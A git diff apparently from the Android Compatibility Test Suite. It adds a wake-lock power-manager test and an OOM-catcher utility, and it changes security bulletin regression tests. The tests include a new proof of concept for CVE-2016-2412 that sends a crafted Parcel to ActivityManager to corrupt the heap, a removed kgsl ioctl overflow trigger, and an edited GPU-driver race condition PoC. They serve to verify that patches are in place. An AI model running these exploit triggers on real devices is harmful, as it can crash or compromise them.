+@RunWith(DeviceJUnit4ClassRunner.class)
+public class PowerManagerTests extends BaseHostJUnit4Test {
+    // We need a running test app to test cached processes releasing wake locks.
+    private static final String PACKAGE_NAME = "android.os.powermanagertests";
+    private static final String APK_NAME = "CtsHostPowerManagerTestApp.apk";
+    private static final String WAKE_LOCK = "WakeLockTest";
+
+    private static final String CHECK_CACHED_CMD = "dumpsys activity processes";
+    private static final String CACHED_REGEXP = "Proc # [0-9]+: cch.*" + PACKAGE_NAME;
+    private static final Pattern CACHED_PATTERN = Pattern.compile(CACHED_REGEXP);
+
+    private static final String GET_WAKE_LOCKS_CMD = "dumpsys power";
+    private static final String WAKE_LOCK_ACQUIRED_REGEXP =
+            "PARTIAL_WAKE_LOCK.*" + WAKE_LOCK + ".*ACQ";
+    private static final String WAKE_LOCK_DISABLED_REGEXP =
+                        "PARTIAL_WAKE_LOCK.*" + WAKE_LOCK + ".*DISABLED";
+    private static final Pattern WAKE_LOCK_ACQUIRED_PATTERN =
+            Pattern.compile(WAKE_LOCK_ACQUIRED_REGEXP);
+    private static final Pattern WAKE_LOCK_DISABLED_PATTERN =
+            Pattern.compile(WAKE_LOCK_DISABLED_REGEXP);
+
+    // A reference to the device under test, which gives us a handle to run commands.
+    private ITestDevice mDevice;
+
+    @Before
+    public synchronized void setUp() throws Exception {
+        mDevice = getDevice();
+        installPackage(APK_NAME);
+    }
+
+    /**
+     * Tests that cached process releases wake lock.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testCachedProcessReleasesWakeLock() throws Exception {
+        makeCachedProcess(PACKAGE_NAME);
+        // Short wait before checking cached process
+        Thread.sleep(1000);
+        String processes = mDevice.executeShellCommand(CHECK_CACHED_CMD);
+        assertTrue(CACHED_PATTERN.matcher(processes).find());
+
+        String wakelocks = mDevice.executeShellCommand(GET_WAKE_LOCKS_CMD);
+        assertTrue("Wake lock not acquired", WAKE_LOCK_ACQUIRED_PATTERN.matcher(wakelocks).find());
+        assertFalse("Wake lock disabled early",
+                WAKE_LOCK_DISABLED_PATTERN.matcher(wakelocks).find());
+
+        // ActivityManager will inform PowerManager of processes with idle uids.
+        // PowerManager will disable wakelocks held by such processes.
+        mDevice.executeShellCommand("am make-uid-idle " + PACKAGE_NAME);
+
+        wakelocks = mDevice.executeShellCommand(GET_WAKE_LOCKS_CMD);
+        assertFalse("Wake lock still acquired",
+                WAKE_LOCK_ACQUIRED_PATTERN.matcher(wakelocks).find());
+        assertTrue("Wake lock not disabled", WAKE_LOCK_DISABLED_PATTERN.matcher(wakelocks).find());
+    }
+
+    private void makeCachedProcess(String packageName) throws Exception {
+        String startAppTemplate = "am start -W -a android.intent.action.MAIN -p %s"
+                + " -c android.intent.category.LAUNCHER";
+        String viewUriTemplate = "am start -W -a android.intent.action.VIEW -d %s";
+        mDevice.executeShellCommand(String.format(startAppTemplate, packageName));
+        // Starting two random apps to make packageName cached
+        mDevice.executeShellCommand(String.format(viewUriTemplate, "mailto:"));
+        mDevice.executeShellCommand(String.format(viewUriTemplate, "tel:"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2062/Android.mk b/hostsidetests/os/test-apps/PowerManagerTestApp/Android.mk
old mode 100755
new mode 100644
similarity index 65%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2016-2062/Android.mk
copy to hostsidetests/os/test-apps/PowerManagerTestApp/Android.mk
index 5e53ee5..3c6371f
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2062/Android.mk
+++ b/hostsidetests/os/test-apps/PowerManagerTestApp/Android.mk
@@ -1,3 +1,4 @@
+#
 # Copyright (C) 2018 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
@@ -11,23 +12,20 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+#
 
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-2062
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
-LOCAL_SHARED_LIBRARIES := liblog
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsHostPowerManagerTestApp
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts sts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror
-
-include $(BUILD_CTS_EXECUTABLE)
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/coreapi/AndroidManifest.xml b/hostsidetests/os/test-apps/PowerManagerTestApp/AndroidManifest.xml
old mode 100644
new mode 100755
similarity index 63%
copy from tests/libcore/coreapi/AndroidManifest.xml
copy to hostsidetests/os/test-apps/PowerManagerTestApp/AndroidManifest.xml
index f2f2f7f..4fb0653
--- a/tests/libcore/coreapi/AndroidManifest.xml
+++ b/hostsidetests/os/test-apps/PowerManagerTestApp/AndroidManifest.xml
@@ -16,16 +16,17 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.libcore.cts.coreapi"
+    package="android.os.powermanagertests"
     android:targetSandboxVersion="2">
-
-    <application android:usesCleartextTraffic="true">
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
-        android:label="CTS Libcore core API test cases"
-        android:targetPackage="android.libcore.cts.coreapi">
-    </instrumentation>
+  <uses-permission android:name="android.permission.WAKE_LOCK" />
+  <application>
+    <activity android:name=".WakeLockTest">
+      <intent-filter>
+        <action android:name="android.intent.action.MAIN"/>
+        <category android:name="android.intent.category.DEFAULT"/>
+        <category android:name="android.intent.category.LAUNCHER"/>
+      </intent-filter>
+    </activity>
+  </application>
 </manifest>
+
diff --git a/hostsidetests/os/test-apps/PowerManagerTestApp/src/android/os/powermanagertests/WakeLockTest.java b/hostsidetests/os/test-apps/PowerManagerTestApp/src/android/os/powermanagertests/WakeLockTest.java
new file mode 100644
index 0000000..b05770c
--- /dev/null
+++ b/hostsidetests/os/test-apps/PowerManagerTestApp/src/android/os/powermanagertests/WakeLockTest.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.powermanagertests;
+
+import static android.os.PowerManager.PARTIAL_WAKE_LOCK;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.PowerManager.WakeLock;
+import android.os.PowerManager;
+
+public class WakeLockTest extends Activity {
+  private static final String TAG = WakeLockTest.class.getSimpleName();
+
+  @Override
+  public void onCreate(Bundle icicle) {
+    super.onCreate(icicle);
+    PowerManager pm = (PowerManager) getSystemService(POWER_SERVICE);
+    WakeLock wl = pm.newWakeLock(PARTIAL_WAKE_LOCK, TAG);
+    wl.acquire(300000 /* 5 mins */);
+  }
+}
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 7bc393d..9419a26 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -41,6 +41,7 @@
 
         <!-- Bulletin 2016-04 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-2412->/data/local/tmp/CVE-2016-2412" />
         <option name="push" value="CVE-2016-0844->/data/local/tmp/CVE-2016-0844" />
         <option name="push" value="CVE-2016-2419->/data/local/tmp/CVE-2016-2419" />
 
@@ -52,7 +53,6 @@
         <!--__________________-->
         <!-- Bulletin 2016-06 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2016-2062->/data/local/tmp/CVE-2016-2062" />
 
         <!--__________________-->
         <!-- Bulletin 2016-07 -->
@@ -161,6 +161,11 @@
         <option name="append-bitness" value="true" />
     </target_preparer>
 
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="OomCatcher.apk" />
+    </target_preparer>
+
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsSecurityBulletinHostTestCases.jar" />
         <option name="runtime-hint" value="8m40s" />
diff --git a/hostsidetests/securitybulletin/res/CVE-2017-0647.zip b/hostsidetests/securitybulletin/res/CVE-2017-0647.zip
new file mode 100644
index 0000000..e01eaf4
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2017-0647.zip
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2062/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2062/poc.c
deleted file mode 100644
index d8bdbdb..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2062/poc.c
+++ /dev/null
@@ -1,107 +0,0 @@
-/**
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-
-#define LOG_TAG "CVE-2016-2062"
-
-#include <errno.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <cutils/log.h>
-
-struct kgsl_perfcounter_query {
-  unsigned int groupid;
-  /* Array to return the current countable for up to size counters */
-  unsigned int *countables;
-  unsigned int count;
-  unsigned int max_counters;
-  /* private: reserved for future use */
-  unsigned int __pad[2]; /* For future binary compatibility */
-};
-
-/* ioctls
- * Refer msm_kgsl.h
- */
-#define KGSL_IOC_TYPE 0x09
-#define IOCTL_KGSL_PERFCOUNTER_QUERY                                           \
-  _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query)
-
-int main() {
-  int fd, ret;
-  struct kgsl_perfcounter_query perf_query;
-
-  fd = open("/dev/kgsl-3d0", O_RDWR);
-  if (fd < 0) {
-    ALOGE("Unable to open /dev/kgsl-3d0 - Errno %d (%s)\n", errno,
-           strerror(errno));
-    exit(EXIT_FAILURE);
-  }
-
-  memset(&perf_query, 0, sizeof(struct kgsl_perfcounter_query));
-
-  /* setup sane params to pass a few checks
-   * set count=0 and countables=NULL to get max_counters
-   * value to allocate memory for countables
-   */
-  perf_query.groupid = 1;
-  perf_query.count = 0;
-  perf_query.countables = NULL;
-
-  ret = ioctl(fd, IOCTL_KGSL_PERFCOUNTER_QUERY, &perf_query);
-  if (ret < 0) {
-    ALOGE("Error ioctl failed %d (%s)\n", errno,
-           strerror(errno));
-  } else {
-    // Make sure the max_counters within the limit [1:1000]
-    if(perf_query.max_counters > 0 &&
-        perf_query.max_counters < 1000) {
-      perf_query.countables = (unsigned int*) malloc(
-            perf_query.max_counters * sizeof(unsigned int));
-      if(perf_query.countables == NULL) {
-        ALOGE("malloc failed\n");
-      } else {
-        /* bad data creates out of memory issue
-         * Errno 12 (out of memory)
-         */
-        perf_query.count = 0x80000001;
-
-        ret = ioctl(fd, IOCTL_KGSL_PERFCOUNTER_QUERY, &perf_query);
-        if (ret < 0 && errno == 12) { //ENOMEM(12) error
-          ALOGE("CVE-2016-2062 failed\n");
-        } else {
-          ALOGE("CVE-2016-2062 passed\n");
-        }
-      }
-    }
-  }
-
-  if(NULL != perf_query.countables) {
-    free(perf_query.countables);
-    perf_query.countables = NULL;
-  }
-
-  if (fd > -1)
-    close(fd);
-
-  return EXIT_SUCCESS;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2062/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.mk
old mode 100755
new mode 100644
similarity index 79%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2016-2062/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.mk
index 5e53ee5..77de47e
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2062/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.mk
@@ -1,33 +1,35 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-2062
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_SHARED_LIBRARIES := liblog
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts sts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror
-
-include $(BUILD_CTS_EXECUTABLE)
+# Copyright (C) 2018 The Android Open Source Project

+#

+# Licensed under the Apache License, Version 2.0 (the "License");

+# you may not use this file except in compliance with the License.

+# You may obtain a copy of the License at

+#

+#      http://www.apache.org/licenses/LICENSE-2.0

+#

+# Unless required by applicable law or agreed to in writing, software

+# distributed under the License is distributed on an "AS IS" BASIS,

+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+# See the License for the specific language governing permissions and

+# limitations under the License.

+

+LOCAL_PATH := $(call my-dir)

+

+include $(CLEAR_VARS)

+LOCAL_MODULE := CVE-2016-2412

+LOCAL_SRC_FILES := poc.cpp

+

+LOCAL_MULTILIB := both

+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32

+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64

+

+LOCAL_SHARED_LIBRARIES := libbinder \

+                          libutils

+

+# Tag this module as a cts test artifact

+LOCAL_COMPATIBILITY_SUITE := cts vts sts

+LOCAL_CTS_TEST_PACKAGE := android.security.cts

+

+LOCAL_ARM_MODE := arm

+LOCAL_CFLAGS += -Wall -Werror

+

+include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/poc.cpp
new file mode 100644
index 0000000..7e3b067
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/poc.cpp
@@ -0,0 +1,99 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+
+using namespace android;
+typedef enum TRANTYPE { HEAPSPRAY, HEAPCORRUPT, HEAPFENGSHUI } TRANTYPE;
+
+static void writeParcelableHead(Parcel *pData, const char *class_name) {
+  // write key
+  static int count = 1;
+  const int VAL_PARCELABLE = 4;
+  char buffer[16] = {0};
+  snprintf(buffer, 16, "%d", count);
+
+  pData->writeString16(String16((const char *)buffer));
+  pData->writeInt32(VAL_PARCELABLE);
+  pData->writeString16(String16(class_name));
+}
+
+void writeRegion(Parcel *pData) {
+  pData->writeInt32(100); // length of region;
+  pData->writeInt32(
+      0x3fffffff); // runCount, the allocted size will be 0x3fffffff*4+16=0xc
+  pData->writeInt32(0xf); // fBounds
+  pData->writeInt32(0xf); // YSpanCount
+  pData->writeInt32(0xf); // IntervalCount
+
+  char buffer[100];
+  memset(buffer, 0xcc,
+         sizeof(buffer)); // this buffer will be used to corrrupt the heap
+  pData->write(buffer, sizeof(buffer));
+}
+
+static void writeBundle(Parcel *pData, int type) {
+  size_t lengthPos = pData->dataPosition();
+  pData->writeInt32(0xfffff);
+  const int BUNDLE_MAGIC = 0x4C444E42;
+  pData->writeInt32(BUNDLE_MAGIC);
+  size_t startPos = pData->dataPosition();
+
+  if (type == HEAPCORRUPT) {
+    pData->writeInt32(1); // from writeArrayMapInternal,object numbers in bundle
+    writeParcelableHead(pData, "android.graphics.Region");
+    writeRegion(pData);
+  } else { // other than HEAPCORRUPT
+    exit(0);
+  }
+
+  size_t endPos = pData->dataPosition();
+  // Backpatch length
+  pData->setDataPosition(lengthPos);
+  int length = endPos - startPos;
+  pData->writeInt32(length);
+  pData->setDataPosition(endPos);
+}
+
+static void transact(sp<IBinder> &service, TRANTYPE type) {
+  const int CONVERT_TO_TRANSLUCENT_TRANSACTION = 175;
+  Parcel data, reply;
+
+  data.writeInterfaceToken(String16("android.app.IActivityManager"));
+  data.writeStrongBinder(service);
+  data.writeInt32(333);
+  writeBundle(&data, type);
+  service->transact(CONVERT_TO_TRANSLUCENT_TRANSACTION, data, &reply);
+}
+
+int main(__attribute__((unused)) int argc,
+         __attribute__((unused)) char *const argv[]) {
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> service = sm->checkService(String16("activity"));
+  if (service != NULL) {
+    printf("heap corruption\n");
+    transact(service, HEAPCORRUPT);
+  } else {
+    printf("get activitymanger failed\n");
+  }
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
index 94202f6..5d4ded3 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
@@ -26,6 +26,7 @@
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <unistd.h>
+#include "../includes/common.h"
 
 #define THREAD_NUM 600
 #define DEV "/dev/kgsl-3d0"
@@ -124,39 +125,46 @@
 
 void* child_ioctl_0(void* no_use) {
   int ret = 1;
+  time_t test_started = start_timer();
   struct kgsl_drawctxt_destroy kdd = {0};
   kdd.drawctxt_id = kgsl_id;
   set_affinity(1);
 
-  while (1) {
+  while (is_timer_expired(test_started)) {
     ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
   }
+  return NULL;
 }
 
 void* child_ioctl_1(void* no_use) {
   int ret = 1;
+  time_t test_started = start_timer();
   struct kgsl_drawctxt_destroy kdd = {0};
   kdd.drawctxt_id = kgsl_id;
   set_affinity(2);
 
-  while (1) {
+  while (is_timer_expired(test_started)) {
     ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
   }
+  return NULL;
 }
 
 void* child_ioctl_2(void* no_use) {
   int ret = 1;
+  time_t test_started = start_timer();
   struct kgsl_drawctxt_create kdc = {0, 0};
   kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
   set_affinity(3);
-  while (1) {
+  while (is_timer_expired(test_started)) {
     ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
     kgsl_id = kdc.drawctxt_id;
   }
+  return NULL;
 }
 
 int main() {
   int i, ret;
+  time_t test_started = start_timer();
   struct kgsl_drawctxt_create kdc = {0, 0};
   kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
   struct kgsl_drawctxt_destroy kdd = {0};
@@ -179,8 +187,12 @@
         pthread_create(thread_id + i + 2, NULL, child_ioctl_2, NULL);
   }
 
-  while (1) {
+  while (is_timer_expired(test_started)) {
     ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
     kgsl_id = kdc.drawctxt_id;
   }
+
+  close(fd);
+
+  return 0;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.mk
index 517481a..fc5d5dd 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.mk
@@ -27,7 +27,8 @@
         $(TOP)/frameworks/av/services/ \
         $(TOP)/system/media/audio_utils/include/ \
         $(TOP)/external/sonic/ \
-        $(TOP)/external/jsoncpp/include/
+        $(TOP)/external/jsoncpp/include/ \
+        $(TOP)/frameworks/av/media/libnblog/include \
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts sts
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/common.h b/hostsidetests/securitybulletin/securityPatch/includes/common.h
new file mode 100644
index 0000000..3c77b7a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/common.h
@@ -0,0 +1,13 @@
+#include <time.h>
+#define MAX_TEST_DURATION 300
+
+time_t start_timer(void);
+int is_timer_expired(time_t timer_started);
+
+time_t start_timer(){
+  return time(NULL);
+}
+
+int is_timer_expired(time_t timer_started){
+  return time(NULL) < (timer_started + MAX_TEST_DURATION);
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/HostsideOomCatcher.java b/hostsidetests/securitybulletin/src/android/security/cts/HostsideOomCatcher.java
new file mode 100644
index 0000000..5415aff
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/HostsideOomCatcher.java
@@ -0,0 +1,222 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.device.BackgroundDeviceAction;
+
+import android.platform.test.annotations.RootPermissionTest;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Scanner;
+import java.util.regex.Pattern;
+import java.util.regex.Matcher;
+import java.util.Map;
+import java.util.HashMap;
+import com.android.ddmlib.MultiLineReceiver;
+import com.android.ddmlib.Log;
+import com.android.ddmlib.TimeoutException;
+import java.lang.ref.WeakReference;
+
+/**
+ * A utility to monitor the device lowmemory state and reboot when low. Without this, tests that
+ * cause an OOM can sometimes cause ADB to become unresponsive indefinitely. Usage is to create an
+ * instance per instance of SecurityTestCase and call start() and stop() matching to
+ * SecurityTestCase setup() and teardown().
+ */
+public class HostsideOomCatcher {
+
+    private static final String LOG_TAG = "HostsideOomCatcher";
+
+    private static final long LOW_MEMORY_DEVICE_THRESHOLD_KB = 1024 * 1024; // 1GB
+    private static Map<String, WeakReference<BackgroundDeviceAction>> oomCatchers = new HashMap<>();
+    private static Map<String, Long> totalMemories = new HashMap<>();
+
+    private boolean isLowMemoryDevice = false;
+
+    private SecurityTestCase context;
+
+    /**
+     * test behavior when oom is detected.
+     */
+    public enum OomBehavior {
+        FAIL_AND_LOG, // normal behavior
+        PASS_AND_LOG, // skip tests that oom low memory devices
+        FAIL_NO_LOG,  // tests that check for oom
+    }
+    private OomBehavior oomBehavior = OomBehavior.FAIL_AND_LOG; // accessed across threads
+    private boolean oomDetected = false; // accessed across threads
+
+    public HostsideOomCatcher(SecurityTestCase context) {
+        this.context = context;
+    }
+
+    /**
+     * Utility to get the device memory total by reading /proc/meminfo and returning MemTotal
+     */
+    private static long getMemTotal(ITestDevice device) throws Exception {
+        String memInfo = device.executeShellCommand("cat /proc/meminfo");
+        Pattern pattern = Pattern.compile("MemTotal:\\s*(.*?)\\s*[kK][bB]");
+        Matcher matcher = pattern.matcher(memInfo);
+        if (matcher.find()) {
+            return Long.parseLong(matcher.group(1));
+        } else {
+            throw new Exception("Could not get device memory total");
+        }
+    }
+
+    /**
+     * Start the hostside oom catcher thread for the test.
+     * Match this call to SecurityTestCase.setup().
+     */
+    public synchronized void start() throws Exception {
+        // cache device TotalMem to avoid and adb shell for every test.
+        Long totalMemory = totalMemories.get(getDevice().getSerialNumber());
+        if (totalMemory == null) {
+            totalMemory = getMemTotal(getDevice());
+            totalMemories.put(getDevice().getSerialNumber(), totalMemory);
+        }
+        isLowMemoryDevice = totalMemory < LOW_MEMORY_DEVICE_THRESHOLD_KB;
+
+        // reset test oom behavior
+        // Low memory devices should skip (pass) tests when OOMing and log so that the
+        // high-memory-test flag can be added. Normal devices should fail tests that OOM so that
+        // they'll be ran again with --retry. If the test OOMs because previous tests used the
+        // memory, it will likely pass on a second try.
+        if (isLowMemoryDevice) {
+            oomBehavior = OomBehavior.PASS_AND_LOG;
+        } else {
+            oomBehavior = OomBehavior.FAIL_AND_LOG;
+        }
+        oomDetected = false;
+
+        // Cache OOM detection in separate persistent threads for each device.
+        WeakReference<BackgroundDeviceAction> reference = oomCatchers.get(getDevice().getSerialNumber());
+        BackgroundDeviceAction oomCatcher = null;
+        if (reference != null) {
+            oomCatcher = reference.get();
+        }
+        if (oomCatcher == null || !oomCatcher.isAlive()) {
+            AdbUtils.runCommandLine("am start com.android.cts.oomcatcher/.OomCatcher", getDevice());
+
+            oomCatcher = new BackgroundDeviceAction(
+                    "logcat -c && logcat OomCatcher:V *:S",
+                    "Oom Catcher background thread",
+                    getDevice(), new OomReceiver(), 0);
+
+            oomCatchers.put(getDevice().getSerialNumber(), new WeakReference<>(oomCatcher));
+            oomCatcher.start();
+        }
+    }
+
+    /**
+     * Stop the hostside oom catcher thread.
+     * Match this call to SecurityTestCase.setup().
+     */
+    public static void stop(String serial) {
+        WeakReference<BackgroundDeviceAction> reference = oomCatchers.get(serial);
+        if (reference != null) {
+            BackgroundDeviceAction oomCatcher = reference.get();
+            if (oomCatcher != null) {
+                oomCatcher.cancel();
+            }
+        }
+    }
+
+    /**
+     * Check every test teardown to see if the device oomed during the test.
+     */
+    public synchronized boolean isOomDetected() {
+        return oomDetected;
+    }
+
+    /**
+     * Return the current test behavior for when oom is detected.
+     */
+    public synchronized OomBehavior getOomBehavior() {
+            return oomBehavior;
+    }
+
+    /**
+     * Flag meaning the test will likely fail on devices with low memory.
+     */
+    public synchronized void setHighMemoryTest() {
+        if (isLowMemoryDevice) {
+            oomBehavior = OomBehavior.PASS_AND_LOG;
+        } else {
+            oomBehavior = OomBehavior.FAIL_AND_LOG;
+        }
+    }
+
+    /**
+     * Flag meaning the test uses the OOM catcher to fail the test because the test vulnerability
+     * intentionally OOMs the device.
+     */
+    public synchronized void setOomTest() {
+        oomBehavior = OomBehavior.FAIL_NO_LOG;
+    }
+
+    private ITestDevice getDevice() {
+        return context.getDevice();
+    }
+
+    /**
+     * Read through logcat to find when the OomCatcher app reports low memory. Once detected, reboot
+     * the device to prevent a soft reset with the possiblity of ADB becomming unresponsive.
+     */
+    class OomReceiver extends MultiLineReceiver {
+
+        private boolean isCancelled = false;
+
+        public void processNewLines(String[] lines) {
+            for (String line : lines) {
+                if (Pattern.matches(".*Low memory.*", line)) {
+                    // low memory detected, reboot device to clear memory and pass test
+                    isCancelled = true;
+                    Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
+                            "lowmemorykiller detected; rebooting device.");
+                    synchronized (HostsideOomCatcher.this) { // synchronized for oomDetected
+                        oomDetected = true;
+                    }
+                    try {
+
+                        getDevice().nonBlockingReboot();
+                        getDevice().waitForDeviceOnline(60 * 2 * 1000); // 2 minutes
+                        context.updateKernelStartTime();
+                    } catch (Exception e) {
+                        Log.e(LOG_TAG, e.toString());
+                    }
+                    return; // we don't need to process remaining lines in the array
+                }
+            }
+        }
+
+        @Override
+        public boolean isCancelled() {
+            return isCancelled;
+        }
+    }
+}
+
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
index d3da935..75b9147 100644
